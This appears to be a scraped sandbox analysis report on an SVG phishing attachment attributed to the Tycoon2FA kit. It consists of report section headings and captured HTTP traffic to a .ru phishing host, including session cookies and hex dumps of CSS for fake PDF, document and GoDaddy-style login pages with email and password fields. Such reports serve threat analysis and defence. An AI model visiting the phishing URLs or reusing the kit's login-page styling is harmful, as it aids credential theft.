1.977-.26 2.62-.771.648-.515.976-1.204.976-2.045 0-.607-.176-1.127-.525-1.546-.345-.416-.946-.799-1.784-1.136M84.063 14.465c-.398.499-.997.751-1.78.751-.777 0-1.39-.256-1.822-.766-.435-.51-.655-1.238-.655-2.163 0-.9

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report scan020250310_OrderTermax-3_19_2025.svg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Initial Sample

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Windows Analysis Report
scan020250310_OrderTermax-3_19_2025.svg

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:57:06 UTC	1356	OUT	GET /56q8sfKixywsK6715 HTTP/1.1 Host: 8rgz.mdrvgqsm.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InByTnFHa2xCTzZYNk5FY2t6ZEoxMFE9PSIsInZhbHVlIjoiQ1N0ZTE0TEgyZlBLRXZHZXdWOXAya1NrYTVSeXJ6L2hPNEt4Vmx6cFkxRkpoaWtFT1FKRUcyNWIwVHNXTGJHV1ovTUk5ekh1NEMvRTEzL0srYUp4dWZmUU5ScngvU1A5dSt0YlR5NGs5VXNYdjRsSWVyb003RVNFdUVVU1pUYmEiLCJtYWMiOiJiNmMyMzJjZjkwYjQ5OGU4MjY1ZGY4NzRhOTFkY2IyNDFlYTkxZTg2MWU3MDUxMTBjZTJlZDBjNzJmZGNjMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBBVzBEd3FxOEh6Y3pFcS9HSHhyRmc9PSIsInZhbHVlIjoieU52bTNwb2o1aW9tVlh4VVI5Z1NtdXZBU2p5eEIweTlWQWUwT2ZVY2ZQOFJRb2JCeDY1UzZCankzdHgrdXFPbVYrWkVPUlRqRG5RUkh1UWU2ZFNnQVlrTmo4REtWaGNKUTVSa05ZRUFXTDU1Vy84VU8vT2xlemxYN1l4c3pSVzgiLCJtYWMiOiI2MDdmZjVlOGZiNDUzYzkwNWUzODQ5NThiM2E2YWU0YzU2NmM5YTY1MWVhY2IwNDllMWJhNmYzNTYyMzgyZjJkIiwidGFnIjoiIn0%3D
2025-03-20 07:57:06 UTC	1072	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 07:57:06 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="56q8sfKixywsK6715" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6tUmzMZBNjqpuUCMqN0XlYhrdekNifD17H9QejWJq6cJTvwqScP8cRs5ed7laezq1Jzlf7qAsOYgc%2B4rea0mvbZqMdqKkSzRSd26gFmF6EBkLZ10259WyL2Y8R3j"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10122&min_rtt=10022&rtt_var=2896&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2260&delivery_rate=283185&cwnd=251&unsent_bytes=0&cid=1c94eb9c3b9c7918&ts=450&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 9233a8221aa3de93-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=98532&min_rtt=96549&rtt_var=23351&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1928&delivery_rate=36407&cwnd=218&unsent_bytes=0&cid=0f14480fd5640ea1&ts=832&x=0"
2025-03-20 07:57:06 UTC	297	IN	Data Raw: 33 61 33 0d 0a 23 61 75 74 68 63 61 6c 6c 64 65 73 63 2c 23 73 65 63 74 69 6f 6e 73 2c 2e 74 65 78 74 2d 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 33 37 35 72 65 6d 7d 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 Data Ascii: 3a3#authcalldesc,#sections,.text-m{font-size:.9375rem}*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #p
2025-03-20 07:57:06 UTC	641	IN	Data Raw: 2c 2e 72 6f 77 2e 74 69 6c 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 61 63 74 69 76 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 2c 69 6e 70 75 74 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 70 2c 2e 73 75 62 74 69 74 6c 65 2c 2e 74 65 78 74 2d 62 6f 64 79 2c 2e 74 65 78 74 2d 73 75 62 74 69 74 6c 65 2c 68 34 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2a 2c 2e 74 65 78 74 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 52 6f 62 6f 74 6f 2c 45 62 72 69 6d 61 2c 22 4e 69 72 6d 61 6c 61 20 55 49 22 2c 47 61 64 75 67 69 2c 22 Data Ascii: ,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit}.p,.subtitle,.text-body,.text-subtitle,h4{font-weight:400}*,.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",Gadugi,"
2025-03-20 07:57:06 UTC	1369	IN	Data Raw: 33 34 31 36 0d 0a 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 76 77 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 2c 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 68 65 69 67 68 74 3a 31 30 30 76 68 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 61 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 61 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 2c 23 73 65 63 74 69 Data Ascii: 3416{height:100%;width:100vw;position:relative}#sections_doc,#sections_godaddy,#sections_pdf{display:flex;flex-direction:column;height:100vh}#sections_doc a,#sections_pdf a{color:#fff;text-decoration:none!important}#sections_doc .pdfbackcontainer,#secti
2025-03-20 07:57:06 UTC	1369	IN	Data Raw: 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 30 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 3a 31 30 30 70 78 20 30 20 30 20 38 35 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 7b 63 6f 6c 6f 72 3a 6f 66 66 69 63 69 61 6c 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 38 30 70 78 3b 68 65 69 67 68 74 3a 38 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a Data Ascii: sition:absolute;width:100px;height:100px;margin:100px 0 0 85px;display:flex;justify-content:center;align-content:center}#sections_pdf .lds-spinner{color:official;display:inline-block;position:relative;width:80px;height:80px}#sections_pdf .lds-spinner div:
2025-03-20 07:57:06 UTC	1369	IN	Data Raw: 32 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 31 31 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 30 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 31 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 31 32 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 33 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 30 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 23 6d 61 69 6e 4c 6f 61 64 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 77 69 64 Data Ascii: 2s}#sections_pdf .lds-spinner div:nth-child(11){transform:rotate(300deg);animation-delay:-.1s}#sections_pdf .lds-spinner div:nth-child(12){transform:rotate(330deg);animation-delay:0s}#sections_pdf #mainLoader{position:absolute;margin:auto;height:100vh;wid
2025-03-20 07:57:06 UTC	1369	IN	Data Raw: 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 61 67 65 4e 61 6d 65 3a 68 6f 76 65 72 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 61 67 65 4e 61 6d 65 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 2e 70 72 6f 66 69 6c 65 4c 6f 67 6f 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 2e 70 72 6f 66 69 6c 65 4c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 31 30 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a Data Ascii: oc .pdfheader #pageName:hover,#sections_pdf .pdfheader #pageName:hover{color:#fff}#sections_doc .pdfheader .profileLogo,#sections_pdf .pdfheader .profileLogo{background-color:#fff;padding:6px 10px;color:#000;font-weight:700;cursor:pointer;text-decoration:
2025-03-20 07:57:06 UTC	1369	IN	Data Raw: 67 6e 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 23 70 64 66 6c 6f 67 69 6e 6c 6f 67 6f 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 23 70 64 66 6c 6f 67 69 6e 6c 6f 67 6f 7b 6d 61 72 67 69 6e 3a 61 75 74 6f 20 61 75 74 6f 20 31 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 65 6d 61 69 6c 62 6c 6f 63 6b 2c 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 70 61 73 73 77 6f 72 64 62 6c 6f 63 6b 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 Data Ascii: gn-content:center}#sections_doc .login .selectProvider #pdfloginlogo,#sections_pdf .login .selectProvider #pdfloginlogo{margin:auto auto 10px}#sections_doc .login .selectProvider .emailblock,#sections_doc .login .selectProvider .passwordblock,#sections_pd
2025-03-20 07:57:06 UTC	1369	IN	Data Raw: 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 65 6d 61 69 6c 69 6e 70 75 74 66 69 65 6c 64 3e 69 6e 70 75 74 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 65 6d 61 69 6c 69 6e 70 75 74 66 69 65 6c 64 3e 69 6e 70 75 74 7b 77 69 64 74 68 3a 61 75 74 6f 3b 68 65 69 67 68 74 3a 33 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 30 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 28 32 35 35 20 32 35 35 20 32 35 35 29 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 Data Ascii: s_doc .login .selectProvider .emailinputfield>input,#sections_pdf .login .selectProvider .emailinputfield>input{width:auto;height:35px;font-size:18px;padding-left:10px;border-radius:5px;background-color:rgb(255 255 255);border:none}#sections_doc .login .s
2025-03-20 07:57:06 UTC	1369	IN	Data Raw: 73 3a 30 20 30 20 33 2e 37 35 70 74 20 2e 30 35 32 30 38 33 33 33 33 69 6e 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 28 32 35 35 20 32 35 35 20 32 35 35 29 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6f 70 74 73 3a 68 6f 76 65 72 2c 2e 62 61 63 6b 3a 68 6f 76 65 72 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 29 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 74 69 74 6c 65 2d 36 32 36 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 22 53 65 67 6f 65 20 55 49 20 57 65 62 20 28 57 65 73 74 20 45 75 72 6f 70 65 61 6e 29 22 2c 22 53 65 67 6f 65 20 55 49 22 2c 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 Data Ascii: s:0 0 3.75pt .052083333in;background:rgb(255 255 255)}#sections .opts:hover,.back:hover,.row.tile:not(.no-pick):hover{background-color:rgba(0,0,0,.1)}#sections_doc .title-626{font-family:"Segoe UI","Segoe UI Web (West European)","Segoe UI",-apple-system,B
2025-03-20 07:57:06 UTC	1369	IN	Data Raw: 61 63 69 74 79 3a 2e 34 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 6f 75 74 66 6f 72 6d 7b 66 72 6f 6d 7b 6f 70 61 63 69 74 79 3a 2e 34 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 75 6e 73 65 74 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 70 72 6f 67 72 65 73 73 44 6f 74 7b 30 25 2c 32 30 25 7b 6c 65 66 74 3a 30 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 6f 75 74 3b 6f 70 61 63 69 74 79 3a 30 7d 32 35 25 2c 37 35 25 7b 6f 70 61 63 69 74 79 3a 31 7d 33 35 25 7b 6c 65 66 74 3a 34 35 25 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 Data Ascii: acity:.4;pointer-events:none}}@keyframes fadeoutform{from{opacity:.4;pointer-events:none}to{opacity:1;pointer-events:unset}}@keyframes progressDot{0%,20%{left:0;animation-timing-function:ease-out;opacity:0}25%,75%{opacity:1}35%{left:45%;animation-timing-f

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:57:06 UTC	1354	OUT	GET /abRFMesrs5Qef30 HTTP/1.1 Host: 8rgz.mdrvgqsm.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InByTnFHa2xCTzZYNk5FY2t6ZEoxMFE9PSIsInZhbHVlIjoiQ1N0ZTE0TEgyZlBLRXZHZXdWOXAya1NrYTVSeXJ6L2hPNEt4Vmx6cFkxRkpoaWtFT1FKRUcyNWIwVHNXTGJHV1ovTUk5ekh1NEMvRTEzL0srYUp4dWZmUU5ScngvU1A5dSt0YlR5NGs5VXNYdjRsSWVyb003RVNFdUVVU1pUYmEiLCJtYWMiOiJiNmMyMzJjZjkwYjQ5OGU4MjY1ZGY4NzRhOTFkY2IyNDFlYTkxZTg2MWU3MDUxMTBjZTJlZDBjNzJmZGNjMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBBVzBEd3FxOEh6Y3pFcS9HSHhyRmc9PSIsInZhbHVlIjoieU52bTNwb2o1aW9tVlh4VVI5Z1NtdXZBU2p5eEIweTlWQWUwT2ZVY2ZQOFJRb2JCeDY1UzZCankzdHgrdXFPbVYrWkVPUlRqRG5RUkh1UWU2ZFNnQVlrTmo4REtWaGNKUTVSa05ZRUFXTDU1Vy84VU8vT2xlemxYN1l4c3pSVzgiLCJtYWMiOiI2MDdmZjVlOGZiNDUzYzkwNWUzODQ5NThiM2E2YWU0YzU2NmM5YTY1MWVhY2IwNDllMWJhNmYzNTYyMzgyZjJkIiwidGFnIjoiIn0%3D
2025-03-20 07:57:06 UTC	860	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 07:57:06 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Content-Disposition: inline; filename="abRFMesrs5Qef30" Cf-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hqyxwFTfcl8gniT%2BZgqFRJqkPrpLyTtRpL8%2F5iFyJMXU3vBEIETyDKx%2B0aCH1YUFjkvs5bXN%2FC9t6ekbOQutf531ynj0%2FWKWJYjQh9GDdajyKmXPPzYTKe94yNne"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: accept-encoding Server-Timing: cfL4;desc="?proto=TCP&rtt=9901&min_rtt=9753&rtt_var=3763&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2259&delivery_rate=292012&cwnd=236&unsent_bytes=0&cid=ed6fc47a77847d19&ts=229&x=0" CF-RAY: 9233a8220cc04393-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 07:57:06 UTC	509	IN	Data Raw: 37 64 32 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 7b 0d 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 67 64 73 68 65 72 70 61 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 32 72 71 61 70 77 2c 23 30 30 30 29 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 Data Ascii: 7d2#sections_godaddy {font-family: gdsherpa !important;}#sections_godaddy a { color: var(--ux-2rqapw,#000); -webkit-text-decoration: var(--ux-1f7if5p,underline); text-decoration: var(--ux-1f7if5p,underline); background-color: transpare
2025-03-20 07:57:06 UTC	1369	IN	Data Raw: 64 79 20 73 76 67 20 7b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 75 6e 73 65 74 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 20 7b 0d 0a 20 20 2d 2d 75 78 2d 62 75 74 74 6f 6e 2d 69 63 6f 6e 2d 6d 61 72 67 69 6e 3a 20 63 61 6c 63 28 28 76 61 72 28 2d 2d 75 78 2d 74 33 37 39 6f 76 2c 76 61 72 28 2d 2d 75 78 2d 6a 77 35 73 39 6a 2c 31 2e 35 29 29 20 2a 20 31 65 6d 20 2d 20 31 2e 35 65 6d 29 20 2f 20 32 29 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 2d 77 Data Ascii: dy svg { overflow: hidden; vertical-align: unset;}#sections_godaddy .ux-button { --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1.5em) / 2); padding: 0; text-decoration: var(--ux-1f7if5p,underline); -w
2025-03-20 07:57:06 UTC	131	IN	Data Raw: 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 0d 0a 20 20 69 6e 6c 69 6e 65 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 73 69 7a 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 69 6e 6c 69 6e 65 3a 6e 6f 74 28 3a 65 6d 70 74 79 29 0d 0a Data Ascii: isplay: inline-flex; inline-size: var(--uxSpace--padding-size);}#sections_godaddy .ux-space.ux-space--inline:not(:empty)
2025-03-20 07:57:06 UTC	1369	IN	Data Raw: 32 66 65 39 0d 0a 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 69 6e 6c 69 6e 65 3a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 73 69 7a 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 62 6c 6f 63 6b 3a 65 6d 70 74 79 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 0d 0a 20 20 62 6c 6f 63 6b 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 73 69 7a 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 62 6c 6f 63 6b 3a 6e 6f 74 28 3a 65 6d 70 74 79 29 20 7b 0d 0a 20 20 70 61 Data Ascii: 2fe9 { padding-inline: var(--uxSpace--padding-size);}#sections_godaddy .ux-space.ux-space--block:empty { display: inline-flex; block-size: var(--uxSpace--padding-size);}#sections_godaddy .ux-space.ux-space--block:not(:empty) { pa
